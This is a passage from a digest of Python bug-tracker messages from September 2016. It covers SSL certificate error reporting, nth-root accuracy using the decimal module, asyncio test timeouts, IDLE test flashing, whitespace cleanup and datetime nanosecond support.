  File "/home/yen/Projects/cpython/Lib/http/client.py", line 1239, in request
    self._send_request(method, url, body, headers, encode_chunked)
  File "/home/yen/Projects/cpython/Lib/http/client.py", line 1285, in _send_request
    self.endheaders(body, encode_chunked=encode_chunked)
  File "/home/yen/Projects/cpython/Lib/http/client.py", line 1234, in endheaders
    self._send_output(message_body, encode_chunked=encode_chunked)
  File "/home/yen/Projects/cpython/Lib/http/client.py", line 1026, in _send_output
    self.send(msg)
  File "/home/yen/Projects/cpython/Lib/http/client.py", line 964, in send
    self.connect()
  File "/home/yen/Projects/cpython/Lib/http/client.py", line 1400, in connect
    server_hostname=server_hostname)
  File "/home/yen/Projects/cpython/Lib/ssl.py", line 401, in wrap_socket
    _context=self, _session=session)
  File "/home/yen/Projects/cpython/Lib/ssl.py", line 808, in __init__
    self.do_handshake()
  File "/home/yen/Projects/cpython/Lib/ssl.py", line 1061, in do_handshake
    self._sslobj.do_handshake()
  File "/home/yen/Projects/cpython/Lib/ssl.py", line 683, in do_handshake
    self._sslobj.do_handshake()
ssl.SSLError: [SSL: CERTIFICATE_VERIFY_FAILED: DEPTH_ZERO_SELF_SIGNED_CERT] certificate verify failed: self signed certificate (_ssl.c:752)

And for expired certificates:

$ ./python -c 'import urllib.request; urllib.request.urlopen("https://expired.badssl.com/")'
Traceback (most recent call last):
  File "/home/yen/Projects/cpython/Lib/urllib/request.py", line 1318, in do_open
    encode_chunked=req.has_header('Transfer-encoding'))
  File "/home/yen/Projects/cpython/Lib/http/client.py", line 1239, in request
    self._send_request(method, url, body, headers, encode_chunked)
  File "/home/yen/Projects/cpython/Lib/http/client.py", line 1285, in _send_request
    self.endheaders(body, encode_chunked=encode_chunked)
  File "/home/yen/Projects/cpython/Lib/http/client.py", line 1234, in endheaders
    self._send_output(message_body, encode_chunked=encode_chunked)
  File "/home/yen/Projects/cpython/Lib/http/client.py", line 1026, in _send_output
    self.send(msg)
  File "/home/yen/Projects/cpython/Lib/http/client.py", line 964, in send
    self.connect()
  File "/home/yen/Projects/cpython/Lib/http/client.py", line 1400, in connect
    server_hostname=server_hostname)
  File "/home/yen/Projects/cpython/Lib/ssl.py", line 401, in wrap_socket
    _context=self, _session=session)
  File "/home/yen/Projects/cpython/Lib/ssl.py", line 808, in __init__
    self.do_handshake()
  File "/home/yen/Projects/cpython/Lib/ssl.py", line 1061, in do_handshake
    self._sslobj.do_handshake()
  File "/home/yen/Projects/cpython/Lib/ssl.py", line 683, in do_handshake
    self._sslobj.do_handshake()
ssl.SSLError: [SSL: CERTIFICATE_VERIFY_FAILED: CERT_HAS_EXPIRED] certificate verify failed: certificate has expired (_ssl.c:752)

I've once tried to achieve it, but my CPython knowledge is way too limited to give a good enough patch.

[1] https://github.com/rg3/youtube-dl/issues/10574
[2] https://github.com/rg3/youtube-dl/issues/7309

----------
assignee: christian.heimes
components: SSL
messages: 276724
nosy: Chi Hsuan Yen, alex, christian.heimes, dstufft, janssen
priority: normal
severity: normal
status: open
title: Expose OpenSSL verification results in SSLError
type: enhancement
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28182>
_______________________________________

From report at bugs.python.org  Fri Sep 16 11:13:30 2016
From: report at bugs.python.org (Berker Peksag)
Date: Fri, 16 Sep 2016 15:13:30 +0000
Subject: [issue28151] testPythonOrg() of test_robotparser fails on validating
 python.org HTTPS certificate
In-Reply-To: <1473860074.41.0.0813459445088.issue28151@psf.upfronthosting.co.za>
Message-ID: <1474038810.67.0.863923833017.issue28151@psf.upfronthosting.co.za>


Berker Peksag added the comment:

Here's a patch that uses pythontest.net.

----------
keywords: +patch
stage: needs patch -> patch review
Added file: http://bugs.python.org/file44695/issue28151.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28151>
_______________________________________

From report at bugs.python.org  Fri Sep 16 11:16:55 2016
From: report at bugs.python.org (INADA Naoki)
Date: Fri, 16 Sep 2016 15:16:55 +0000
Subject: [issue28147] Unbounded memory growth resizing split-table dicts
In-Reply-To: <1473853453.13.0.556951743271.issue28147@psf.upfronthosting.co.za>
Message-ID: <1474039015.23.0.792819475417.issue28147@psf.upfronthosting.co.za>


INADA Naoki added the comment:

This is patch for Python 3.5.
The patch uses more conservative approach.

----------
Added file: http://bugs.python.org/file44696/fix-28147-py35.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28147>
_______________________________________

From report at bugs.python.org  Fri Sep 16 11:32:23 2016
From: report at bugs.python.org (Steve Dower)
Date: Fri, 16 Sep 2016 15:32:23 +0000
Subject: [issue1284316] Win32: Security problem with default installation
 directory
Message-ID: <1474039943.74.0.491613911011.issue1284316@psf.upfronthosting.co.za>


Steve Dower added the comment:

Changing the default install directory in a maintenance release is not okay.

Users who are concerned about security can change the install directory, and bugs that arise as a result will be considered on their own merits.

Alternatively, you can obtain Python 2.7 from one of the companies who maintain a distribution (such as Continuum Analytics). Some of them default to a secure install directory.

----------
stage: test needed -> resolved
versions:  -Python 2.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue1284316>
_______________________________________

From report at bugs.python.org  Fri Sep 16 12:44:51 2016
From: report at bugs.python.org (=?utf-8?q?R=C3=A9mi_Cardona?=)
Date: Fri, 16 Sep 2016 16:44:51 +0000
Subject: [issue26081] Implement asyncio Future in C to improve performance
In-Reply-To: <1452533022.97.0.443242974791.issue26081@psf.upfronthosting.co.za>
Message-ID: <1474044291.25.0.739777350903.issue26081@psf.upfronthosting.co.za>


Changes by R?mi Cardona <remi2402 at free.fr>:


----------
nosy: +RemiCardona

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26081>
_______________________________________

From report at bugs.python.org  Fri Sep 16 12:59:16 2016
From: report at bugs.python.org (Tim Graham)
Date: Fri, 16 Sep 2016 16:59:16 +0000
Subject: [issue28128] Improve the warning message for invalid escape sequences
In-Reply-To: <1473779424.19.0.440456250628.issue28128@psf.upfronthosting.co.za>
Message-ID: <1474045156.91.0.671722586358.issue28128@psf.upfronthosting.co.za>


Tim Graham added the comment:

Eric, your patch was good enough to allow me to easily identify and fix all the warnings in Django: https://github.com/django/django/pull/7254. Thanks!

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28128>
_______________________________________

From report at bugs.python.org  Fri Sep 16 13:18:03 2016
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 16 Sep 2016 17:18:03 +0000
Subject: [issue28180] sys.getfilesystemencoding() should default to utf-8
In-Reply-To: <1474037165.47.0.13963514685.issue28180@psf.upfronthosting.co.za>
Message-ID: <CAMpsgwaUQnMPPtfkjgffzXy-k47yeNQrHbRqVuasJPPJY8MZxg@mail.gmail.com>


STINNER Victor added the comment:

> is this someday already?)

Not yet :-)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28180>
_______________________________________

From report at bugs.python.org  Fri Sep 16 13:20:56 2016
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 16 Sep 2016 17:20:56 +0000
Subject: [issue1284316] Win32: Security problem with default installation
 directory
Message-ID: <1474046456.88.0.242956308031.issue1284316@psf.upfronthosting.co.za>


Changes by Mark Lawrence <breamoreboy at yahoo.co.uk>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue1284316>
_______________________________________

From report at bugs.python.org  Fri Sep 16 13:46:53 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Fri, 16 Sep 2016 17:46:53 +0000
Subject: [issue28128] Improve the warning message for invalid escape sequences
In-Reply-To: <1473779424.19.0.440456250628.issue28128@psf.upfronthosting.co.za>
Message-ID: <1474048013.5.0.0333589173136.issue28128@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

The basic concept LGTM.

first_invalid_escape_char is redundant, it is just s[first_invalid_escape_idx]. Or maybe better to return a pointer instead of an index.

bytes literals need similar solution.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28128>
_______________________________________

From report at bugs.python.org  Fri Sep 16 14:04:10 2016
From: report at bugs.python.org (Eric V. Smith)
Date: Fri, 16 Sep 2016 18:04:10 +0000
Subject: [issue28128] Improve the warning message for invalid escape sequences
In-Reply-To: <1473779424.19.0.440456250628.issue28128@psf.upfronthosting.co.za>
Message-ID: <1474049050.17.0.537971432021.issue28128@psf.upfronthosting.co.za>


Eric V. Smith added the comment:

Tim: Cool! That's way more useful than I thought it would be.

Serhiy: It's a proof of concept. Lots of design remains to be done. I'm not sure we've agreed on the concept yet, so I don't think it's worthwhile designing the API.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28128>
_______________________________________

From report at bugs.python.org  Fri Sep 16 14:21:47 2016
From: report at bugs.python.org (Mark Dickinson)
Date: Fri, 16 Sep 2016 18:21:47 +0000
Subject: [issue27761] Private _nth_root function loses accuracy
In-Reply-To: <1471141583.56.0.32662922065.issue27761@psf.upfronthosting.co.za>
Message-ID: <1474050107.91.0.775017880989.issue27761@psf.upfronthosting.co.za>


Mark Dickinson added the comment:

I think this whole nth root discussion has become way more complicated than it needs to be, and there's a simple and obvious solution.

Two observations:

1. What we actually need is not nth_root(x), but nth_root(x*2**e) for a float x and integer e. That's easily computed as exp((log(x) + e*log(2)) / n), and if we (a) rescale x to lie in [1.0, 2.0) and (b) remove multiples of n from e beforehand and so replace e with e % n, all intermediate values in this computation are small (less than 2.0).

2. It's easy to compute the above expression either directly using the math module (which gives an nth root operation with an error of a handful of ulps), or with extra precision using the Decimal module (which gives an nth root operation that's almost always correctly rounded).

If we do this, this also fixes issue #28111, which is caused by the current algorithm getting into difficulties when computing the nth root of the 2**e part of x*2**e.

Here's a direct solution using the Decimal module. If my back-of-the-envelope forward error analysis is correct, the result is always within 0.502 ulps of the correct result. That means it's *usually* going to be correctly rounded, and *always* going to be faithfully rounded. If 0.502 ulps isn't good enough for you, increase the context precision from 20 to 30, then we'll always be within 0.5000000000002 ulps instead.

The code deals with the core problem where x is finite and positive. Extending to negative values, zeros, nans and infinities is left as an exercise for the reader.


import decimal
import math

ROOTN_CONTEXT = decimal.Context(prec=20)
LOG2 = ROOTN_CONTEXT.ln(2)


def rootn(x, e, n):
    """
    Accurate value for (x*2**e)**(1/n).

    Result is within 0.502 ulps of the correct result.
    """
    if not 0.0 < x < math.inf:
        raise ValueError("x should be finite and positive")

    m, exp = math.frexp(x)
    q, r = divmod(exp + e - 1, n)
    d = decimal.Decimal(m*2.0)
    c = ROOTN_CONTEXT  # for brevity
    y = c.exp(c.divide(c.add(c.ln(d), c.multiply(r, LOG2)), n))
    return math.ldexp(y, q)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27761>
_______________________________________

From report at bugs.python.org  Fri Sep 16 14:24:13 2016
From: report at bugs.python.org (Mark Dickinson)
Date: Fri, 16 Sep 2016 18:24:13 +0000
Subject: [issue28111] geometric_mean can raise OverflowError when checking for
 inf
In-Reply-To: <1473733233.31.0.576673883283.issue28111@psf.upfronthosting.co.za>
Message-ID: <1474050253.26.0.367723012087.issue28111@psf.upfronthosting.co.za>


Mark Dickinson added the comment:

See msg276732 in issue 27761 for a possible solution.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28111>
_______________________________________

From report at bugs.python.org  Fri Sep 16 14:47:38 2016
From: report at bugs.python.org (Guido van Rossum)
Date: Fri, 16 Sep 2016 18:47:38 +0000
Subject: [issue26149] Suggest PyCharm Community as an editor for Unix platforms
In-Reply-To: <1453153728.95.0.733172914649.issue26149@psf.upfronthosting.co.za>
Message-ID: <1474051658.18.0.249956144665.issue26149@psf.upfronthosting.co.za>


Guido van Rossum added the comment:

Hm, maybe the list should just removed and only the link to the wiki preserved? Agreed that the list here feels outdated. And updating it is always going to be a political game (e.g. why isn't Wing IDE listed?)

----------
nosy: +gvanrossum

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26149>
_______________________________________

From report at bugs.python.org  Fri Sep 16 14:57:08 2016
From: report at bugs.python.org (Alexander Belopolsky)
Date: Fri, 16 Sep 2016 18:57:08 +0000
Subject: [issue24416] Return a namedtuple from date.isocalendar()
In-Reply-To: <1433853440.83.0.506944331138.issue24416@psf.upfronthosting.co.za>
Message-ID: <1474052228.6.0.281939670493.issue24416@psf.upfronthosting.co.za>


Changes by Alexander Belopolsky <alexander.belopolsky at gmail.com>:


----------
assignee:  -> belopolsky
nosy: +belopolsky
versions: +Python 3.7 -Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24416>
_______________________________________

From report at bugs.python.org  Fri Sep 16 14:57:44 2016
From: report at bugs.python.org (Mark Dickinson)
Date: Fri, 16 Sep 2016 18:57:44 +0000
Subject: [issue27761] Private _nth_root function loses accuracy
In-Reply-To: <1471141583.56.0.32662922065.issue27761@psf.upfronthosting.co.za>
Message-ID: <1474052264.25.0.609343966526.issue27761@psf.upfronthosting.co.za>


Mark Dickinson added the comment:

Here's the error analysis, for the record. It's crude, but effective.  Assume
our decimal context precision is p (so p = 20 for the above code).

1. d is represented exactly with value in [1.0, 2.0).  (Conversions from float
   to Decimal are exact.)

2. c.ln(d) < 1.0, and Decimal's ln operation is correctly rounded, so the
   *absolute* error in c.ln(d) is at most 0.5 * 10**-p.

3. Similarly, LOG2 has an absolute error of at most 0.5 * 10**-p.

4. Let q be the unique integer satisfying 10**q <= n < 10**(q+1).

5. r * LOG2 < n < 10**(q+1), so ulp(r * LOG2) <= 10**(q + 1 - p),
   and the rounding error in computing r * LOG2 is at most
   0.5 * 10**(q + 1 - p). We also inherit the error from LOG2, scaled
   up by r (which is less than 10**(q+1)), so this inherited error
   is also bounded by 0.5 * 10**(q + 1 - p). Our total absolute error
   is now bounded by 10**(q + 1 - p).

6. The result of the addition of d to r * LOG2 is also bounded by
   n < 10**(q+1), so introduces a new rounding error of up to
   0.5 * 10**(q + 1 - p) on top of the errors in d and r * LOG2
   (steps 2 and 5). Our total error is now bounded by 1.5*10**(q + 1 - p).

7. Division by n produces a result <= 1.0. It divides our absolute error so
   far by n (>= 10**q), giving a new error of at most 15 * 10**-p, and
   introduces a new rounding error of at most 0.5 * 10**-p. Bound
   so far is 15.5 * 10**-p.

8. The exponential operation gives a result in the range [1.0, 2.0],
   and converts our absolute error of 15.5 * 10**-p into a relative
   error of at most 15.5 * 10**-p (let's call it 16 * 10**-p to be
   safe), which since our result is bounded by 2.0 amounts to an absolute
   error of at most 32 * 10**-p. We get a rounding error on the result
   of at most 5 * 10**-p (like ln, the decimal module's "exp" operation
   is also correctly rounded), making our total error bounded by 37 * 10**-p.

Finally, we want to express the error bound above in terms of ulps of the
original IEEE 754 binary64 format that float (almost certainly) uses.
Since our result (before the ldexp) is in the range [1.0, 2.0], one ulp
for the binary format is 2**-52. So the error bound in step 8, expressed
in binary64 ulps, is 37 / 2 **-52 * 10**-p < 2 * 10**(17-p) ulps. Rounding
from the final Decimal value to float also incurs an error of at most
0.5 ulps, so we end up with an error bound of

   final_error <= 0.5 + 2 * 10**(17-p) ulps.

For p = 20, this is 0.502 ulps.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27761>
_______________________________________

From report at bugs.python.org  Fri Sep 16 14:59:59 2016
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 16 Sep 2016 18:59:59 +0000
Subject: [issue28176] Fix callbacks race in asyncio.SelectorLoop.sock_connect
In-Reply-To: <1473976530.0.0.19666207968.issue28176@psf.upfronthosting.co.za>
Message-ID: <1474052399.57.0.0496368601423.issue28176@psf.upfronthosting.co.za>


STINNER Victor added the comment:

The timeout of 3 seconds seem to be too short for some buildbots like "AMD64 FreeBSD CURRENT Non-Debug 3.x".

http://buildbot.python.org/all/builders/AMD64%20FreeBSD%20CURRENT%20Non-Debug%203.x/builds/295/steps/test/logs/stdio

test.test_asyncio.test_windows_utils (unittest.loader.ModuleSkipped) ... Exception in thread Thread-50:
Traceback (most recent call last):
  File "/usr/home/buildbot/python/3.x.koobs-freebsd-current.nondebug/build/Lib/threading.py", line 916, in _bootstrap_inner
    self.run()
  File "/usr/home/buildbot/python/3.x.koobs-freebsd-current.nondebug/build/Lib/test/test_asyncio/test_selector_events.py", line 1819, in run
    sock, addr = self.srv_sock.accept()
  File "/usr/home/buildbot/python/3.x.koobs-freebsd-current.nondebug/build/Lib/socket.py", line 205, in accept
    fd, addr = self._accept()
socket.timeout: timed out

test test_asyncio failed
skipped 'Windows only'

======================================================================
ERROR: test_sock_connect_sock_write_race (test.test_asyncio.test_selector_events.SelectorLoopFunctionalTests)
----------------------------------------------------------------------
Traceback (most recent call last):
  File "/usr/home/buildbot/python/3.x.koobs-freebsd-current.nondebug/build/Lib/test/test_asyncio/test_selector_events.py", line 1868, in test_sock_connect_sock_write_race
    timeout=TIMEOUT))
  File "/usr/home/buildbot/python/3.x.koobs-freebsd-current.nondebug/build/Lib/asyncio/base_events.py", line 457, in run_until_complete
    return future.result()
  File "/usr/home/buildbot/python/3.x.koobs-freebsd-current.nondebug/build/Lib/asyncio/futures.py", line 292, in result
    raise self._exception
  File "/usr/home/buildbot/python/3.x.koobs-freebsd-current.nondebug/build/Lib/asyncio/tasks.py", line 239, in _step
    result = coro.send(None)
  File "/usr/home/buildbot/python/3.x.koobs-freebsd-current.nondebug/build/Lib/asyncio/tasks.py", line 397, in wait_for
    raise futures.TimeoutError()
concurrent.futures._base.TimeoutError

----------
nosy: +haypo
resolution: fixed -> 
status: closed -> pending

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28176>
_______________________________________

From report at bugs.python.org  Fri Sep 16 15:01:25 2016
From: report at bugs.python.org (Terry J. Reedy)
Date: Fri, 16 Sep 2016 19:01:25 +0000
Subject: [issue27922] Make IDLE tests less flashy
In-Reply-To: <1472690016.39.0.67314028817.issue27922@psf.upfronthosting.co.za>
Message-ID: <1474052485.64.0.660780534598.issue27922@psf.upfronthosting.co.za>


Terry J. Reedy added the comment:

It is more a matter of tradeoffs rather than 'okay'.

There is no general pydev rule against gui flashing.  The tk and ttk gui tests still do, but that is primarily Serhiy's concern.

The IDLE tests are at most perhaps a third complete, so they would have become collectively 3 or more times worse.  I should run the IDLE tests at least once for each patch and usually do it multiple times.  When I work on a module or its tests, I tend work incrementally and run the test for the module 10 or 20 times or more.  So my first concern is my own eyes and mental state.

Second, I plan to ask others to run test_idle to make up for the lack of buildbot coverage, and I will feel better about doing so after the patches already made.  If one or a few flashes are left, I and others are still much better off.

In this case, there are two obvious fixes, but I don't like either.  Maybe I will come up with a third I like better, perhaps after some refactoring of the module.  I would also like to better understand the detailed behavior.  In the meanwhile, I reopened to add a comment to the test, so I don't lose track of the source of the remaining flash.

----------
status: closed -> open

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27922>
_______________________________________

From report at bugs.python.org  Fri Sep 16 15:06:51 2016
From: report at bugs.python.org (Jeremy Sequoia)
Date: Fri, 16 Sep 2016 19:06:51 +0000
Subject: [issue27806] 2.7 32-bit builds fail on future releases of OS X due to
 dependency on deleted header file
In-Reply-To: <1471643899.93.0.569141042934.issue27806@psf.upfronthosting.co.za>
Message-ID: <1474052811.88.0.280826501789.issue27806@psf.upfronthosting.co.za>


Jeremy Sequoia added the comment:

Thanks, yep that looks much nicer to me.  Containing the core logic at a central choke point makes maintenance much easier.  I'll work to get this into MacPorts.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27806>
_______________________________________

From report at bugs.python.org  Fri Sep 16 15:09:17 2016
From: report at bugs.python.org (Mark Dickinson)
Date: Fri, 16 Sep 2016 19:09:17 +0000
Subject: [issue28111] geometric_mean can raise OverflowError for large input
 length
In-Reply-To: <1473733233.31.0.576673883283.issue28111@psf.upfronthosting.co.za>
Message-ID: <1474052957.51.0.645534540587.issue28111@psf.upfronthosting.co.za>


Changes by Mark Dickinson <dickinsm at gmail.com>:


----------
title: geometric_mean can raise OverflowError when checking for inf -> geometric_mean can raise OverflowError for large input length

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28111>
_______________________________________

From report at bugs.python.org  Fri Sep 16 15:12:25 2016
From: report at bugs.python.org (Tim Peters)
Date: Fri, 16 Sep 2016 19:12:25 +0000
Subject: [issue27761] Private _nth_root function loses accuracy
In-Reply-To: <1471141583.56.0.32662922065.issue27761@psf.upfronthosting.co.za>
Message-ID: <1474053145.46.0.21204096214.issue27761@psf.upfronthosting.co.za>


Tim Peters added the comment:

Mark, the code I showed in roots.py is somewhat more accurate and highly significantly faster than the code you just posted.  It's not complicated at all:  it just uses Decimal to do a single Newton correction with extended precision.

Since it doesn't use the Decimal exp() or ln(), it's faster.  It does use the Decimal pow(), but with an integer exponent, so this specific use of pow() doesn't invoke the Decimal exp() or ln() either.  And it's still the case that I haven't found a case where its result isn't correctly rounded.  My testing framework found multiple not-correctly-rounded cases in your new code within seconds.

Presumably you could boost the precision to improve that, but then it would get even slower.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27761>
_______________________________________

From report at bugs.python.org  Fri Sep 16 15:14:15 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Fri, 16 Sep 2016 19:14:15 +0000
Subject: [issue16700] Document that bytes OS API can returns unusable results
 on Windows
In-Reply-To: <1355677117.39.0.191453655217.issue16700@psf.upfronthosting.co.za>
Message-ID: <1474053255.29.0.729409896818.issue16700@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

Maybe this issue is outdated in 3.6 (thanks to PEP 529), but this still is a problem under 3.5 and 2.7.

----------
status: closed -> open
versions: +Python 3.5 -Python 3.3, Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue16700>
_______________________________________

From report at bugs.python.org  Fri Sep 16 15:35:30 2016
From: report at bugs.python.org (Mark Dickinson)
Date: Fri, 16 Sep 2016 19:35:30 +0000
Subject: [issue27761] Private _nth_root function loses accuracy
In-Reply-To: <1471141583.56.0.32662922065.issue27761@psf.upfronthosting.co.za>
Message-ID: <1474054530.38.0.285493342429.issue27761@psf.upfronthosting.co.za>


Mark Dickinson added the comment:

> Mark, the code I showed in roots.py is somewhat more accurate and highly significantly faster than the code you just posted.

Okay, fair enough. In that case, we still need a solution for computing rootn(x * 2**e) in the case where x*2**e itself overflows / underflows an IEEE 754 float.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27761>
_______________________________________

From report at bugs.python.org  Fri Sep 16 15:36:31 2016
From: report at bugs.python.org (Mark Dickinson)
Date: Fri, 16 Sep 2016 19:36:31 +0000
Subject: [issue27761] Private _nth_root function loses accuracy
In-Reply-To: <1471141583.56.0.32662922065.issue27761@psf.upfronthosting.co.za>
Message-ID: <1474054591.94.0.548690136479.issue27761@psf.upfronthosting.co.za>


Mark Dickinson added the comment:

> It does use the Decimal pow(), but with an integer exponent, so this specific use of pow() doesn't invoke the Decimal exp() or ln() either.

Decimal pow doesn't special-case integer exponents; the solution will still be based on exp and ln.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27761>
_______________________________________

From report at bugs.python.org  Fri Sep 16 15:45:10 2016
From: report at bugs.python.org (Mark Dickinson)
Date: Fri, 16 Sep 2016 19:45:10 +0000
Subject: [issue27761] Private _nth_root function loses accuracy
In-Reply-To: <1471141583.56.0.32662922065.issue27761@psf.upfronthosting.co.za>
Message-ID: <1474055110.13.0.502037630068.issue27761@psf.upfronthosting.co.za>


Mark Dickinson added the comment:

> Decimal pow doesn't special-case integer exponents; the solution will still be based on exp and ln.

Ah, sorry; I'm wrong. That was true for the Python version of the decimal module, not for the C implementation.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27761>
_______________________________________

From report at bugs.python.org  Fri Sep 16 15:58:42 2016
From: report at bugs.python.org (Mark Dickinson)
Date: Fri, 16 Sep 2016 19:58:42 +0000
Subject: [issue27761] Private _nth_root function loses accuracy
In-Reply-To: <1471141583.56.0.32662922065.issue27761@psf.upfronthosting.co.za>
Message-ID: <1474055922.74.0.443251543641.issue27761@psf.upfronthosting.co.za>


Mark Dickinson added the comment:

> And it's still the case that I haven't found a case where its result isn't correctly rounded.

Here's one: :-)

>>> rootn(1 + 2**-52, 2)
1.0000000000000002

The correctly rounded result would be 1.0.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27761>
_______________________________________

From report at bugs.python.org  Fri Sep 16 16:07:32 2016
From: report at bugs.python.org (Alexander Belopolsky)
Date: Fri, 16 Sep 2016 20:07:32 +0000
Subject: [issue25283] Make tm_gmtoff and tm_zone available on all platforms
In-Reply-To: <1443632019.41.0.93426740001.issue25283@psf.upfronthosting.co.za>
Message-ID: <1474056452.24.0.608536420884.issue25283@psf.upfronthosting.co.za>


Alexander Belopolsky added the comment:

The problem of computing tm_gmtoff on platforms without it was solved by tzcode some time ago. [1,2]  Consider stealing some of their logic.

[1]: http://mm.icann.org/pipermail/tz/2014-September/021601.html
[2]: https://github.com/eggert/tz/commit/40b395e139

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue25283>
_______________________________________

From report at bugs.python.org  Fri Sep 16 16:24:15 2016
From: report at bugs.python.org (Tim Graham)
Date: Fri, 16 Sep 2016 20:24:15 +0000
Subject: [issue22493] Deprecate the use of flags not at the start of regular
 expression
In-Reply-To: <1411640940.81.0.804351058131.issue22493@psf.upfronthosting.co.za>
Message-ID: <1474057455.69.0.679592136677.issue22493@psf.upfronthosting.co.za>


Tim Graham added the comment:

Yes, I found that Django needs an update to support that syntax in URLpatterns. Thanks.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue22493>
_______________________________________

From report at bugs.python.org  Fri Sep 16 16:26:23 2016
From: report at bugs.python.org (Terry J. Reedy)
Date: Fri, 16 Sep 2016 20:26:23 +0000
Subject: [issue28145] Fix whitespace in C source code
In-Reply-To: <1473850786.65.0.167663767875.issue28145@psf.upfronthosting.co.za>
Message-ID: <1474057583.69.0.33818696516.issue28145@psf.upfronthosting.co.za>


Terry J. Reedy added the comment:

Converting tabs to spaces and deleting trailing whitespace are separate issues and should be discussed and possibly done separately.

I think trailing whitespace should be uniformly fixed and prohibited for C files as it seems to be for most other files, for reasons including the issue cited by Mark.  I seems silly that one should be faced with either reverting changes by a mandated fixup program or pushing a somewhat messy patch.  

Does the repository check and reject new and changed lines with trailing whitespace, as it does for other file types?  If so, then existing lines with whitespace are a trap for someone who makes a small change (such as '<=' to '<') and forgets to run patchcheck.

I think generated code should also be generated without whitespace and I would also make this a separate patch.  The review mindset for substantive code change is different from review of changes that must not make a substantive change.

----------
nosy: +terry.reedy

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28145>
_______________________________________

From report at bugs.python.org  Fri Sep 16 16:38:14 2016
From: report at bugs.python.org (Steve Holden)
Date: Fri, 16 Sep 2016 20:38:14 +0000
Subject: [issue15443] datetime module has no support for nanoseconds
In-Reply-To: <1343158610.62.0.806232279741.issue15443@psf.upfronthosting.co.za>
Message-ID: <1474058294.81.0.704335473154.issue15443@psf.upfronthosting.co.za>


Steve Holden added the comment:

I agree on reflection that a single nanoseconds integral value makes more sense. This then requires refactoring of the existing code so that existing tests continue to pass using a microsecond property.

Code using ONLY nanoseconds is a disjoint case, for which new tests will be required. It clearly cannot be expected to be backwards compatible with pre-implementation versions.

Does it make sense to define behaviour for cases where the user attempts to MIX microseconds and nanoseconds? One validation I would suggest if so is that in the presence of a microseconds specification a constraint of 0 <= nanoseconds < 1000 must be imposed.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue15443>
_______________________________________

From report at bugs.python.org  Fri Sep 16 16:50:47 2016
From: report at bugs.python.org (Alexander Belopolsky)
Date: Fri, 16 Sep 2016 20:50:47 +0000
Subject: [issue15443] datetime module has no support for nanoseconds
In-Reply-To: <1343158610.62.0.806232279741.issue15443@psf.upfronthosting.co.za>
Message-ID: <1474059047.7.0.160525876448.issue15443@psf.upfronthosting.co.za>


Alexander Belopolsky added the comment:

Another advantage of a single nanoseconds field is that currently microseconds are packed in 3 bytes and nanoseconds would fit in 4 - a 1 byte increase, but to add a 0-999 field, one would need at least 2 bytes.

----------
versions: +Python 3.7 -Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue15443>
_______________________________________

From report at bugs.python.org  Fri Sep 16 16:55:50 2016
From: report at bugs.python.org (Terry J. Reedy)
Date: Fri, 16 Sep 2016 20:55:50 +0000
Subject: [issue28179] Segfault in test_recursionlimit_fatalerror
In-Reply-To: <1474017738.64.0.366816916836.issue28179@psf.upfronthosting.co.za>
Message-ID: <1474059350.78.0.623990295297.issue28179@psf.upfronthosting.co.za>


Terry J. Reedy added the comment:

Running with fresh build from IDLE in a subprocess on Win10, with 15 instead of 10, I quickly get a fatal Python error and the Windows box equivalent to a segfault.

----------
nosy: +terry.reedy

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28179>
_______________________________________

From report at bugs.python.org  Fri Sep 16 17:03:32 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Fri, 16 Sep 2016 21:03:32 +0000
Subject: [issue28179] Segfault in test_recursionlimit_fatalerror
In-Reply-To: <1474017738.64.0.366816916836.issue28179@psf.upfronthosting.co.za>
Message-ID: <1474059812.67.0.268797833399.issue28179@psf.upfronthosting.co.za>


Changes by Serhiy Storchaka <storchaka+cpython at gmail.com>:


----------
nosy: +ned.deily
priority: normal -> release blocker

_______________________________________
